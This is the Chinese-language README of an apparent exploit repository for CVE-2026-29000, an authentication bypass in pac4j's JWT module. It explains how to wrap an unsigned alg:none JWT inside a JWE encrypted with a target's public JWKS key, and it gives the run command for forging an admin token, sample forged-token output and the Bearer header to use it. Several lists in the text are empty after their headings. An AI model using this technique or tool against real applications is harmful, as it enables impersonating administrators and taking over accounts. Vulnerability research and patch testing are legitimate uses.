针对 CVE‑2026‑29000 的 Python 概念验证(PoC),该漏洞是一个影响使用 pac4j JWT 模块 的应用的严重认证绕过漏洞。
该漏洞允许攻击者通过发送包含 未签名 PlainJWT(alg: none) 的恶意 JWE 令牌 来以任意用户身份进行认证。
使用 pac4j 的应用可能采用以下令牌流程:
/api/auth/login 进行认证由于 JWT 解析逻辑处理不当,当内部令牌是 PlainJWT(未签名令牌) 时:
toSignedJWT() 返回 null这使得攻击者能够:
攻击者可以:
无需私钥——仅需通过 JWKS 暴露的 公钥 即可。
本仓库提供了一个 Python PoC,其功能包括:
Python 3.x
安装依赖:
pip install jwcrypto requests
python3 poc.py \
--jwks http://target:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
示例输出:
=== Malicious JWE Token ===
eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0...
将其用作:
Authorization: Bearer <TOKEN>
本仓库仅用于 教育和研究目的。 未经适当授权,请勿将此代码用于任何系统。
Ali Hussainzada 应用安全研究员 | 漏洞猎人